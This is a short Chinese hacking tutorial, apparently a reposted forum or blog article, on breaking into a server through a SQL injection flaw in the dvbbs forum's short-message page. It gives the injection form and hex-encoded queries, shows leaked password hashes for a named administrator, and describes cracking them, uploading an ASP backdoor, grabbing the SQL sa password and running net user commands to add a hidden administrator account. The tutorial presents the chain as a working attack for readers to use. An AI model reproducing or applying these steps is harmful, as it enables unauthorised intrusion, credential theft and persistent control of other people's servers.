利用dvbbs短消息漏洞入侵服务器

2009-2-8 06:32 981 0

摘要: 第一步:用注册好的用户名登陆,登陆时选择保存cookie,撰写短消息,保存第二步:利用下边网页提交信息<form action=http://xxxx/bbs/m...

关键词： 密码错误 username 登陆类型 7200610064006900 userpassword admin asp Microsoft

第一步:用注册好的用户名登陆,登陆时选择保存cookie,撰写短消息,保存第二步:利用下边网页提交信息<form action=http://xxxx/bbs/messanger.asp?action=删除草稿 method=post><input type=text name=id width=32><input type=submit></form>username使用SQL Encoder编码,这里我们用一个管理员的名字radiofly提交select userpassword from [user] where username=0x72006100640069006f0066006c007900 and userpassword>7得到Microsoft VBScript 编译器错误错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp，行242 Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 '78e4ea2181b00d21' 转换为数据类型为 int 的列时发生语法错误。 /bbs/messanger.asp，行619 78e4ea2181b00d21就是radiofly的前台密码提交select password from admin where username=0x72006100640069006f0066006c007900 and password>7得到后台密码 acaa91f51ed197c7用dvbbs密码猜解工具猜解密码等待等待再等待。。。。。。ok得到密码后登陆进入后台,修改文件上传类型,添加asp类型,上传asp后门得到sql数据库的sa密码,使用sqlexec连接net user admin$ xiaoxue /addnet localgroup administrators admin$ /add到此 over :)by 小路

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除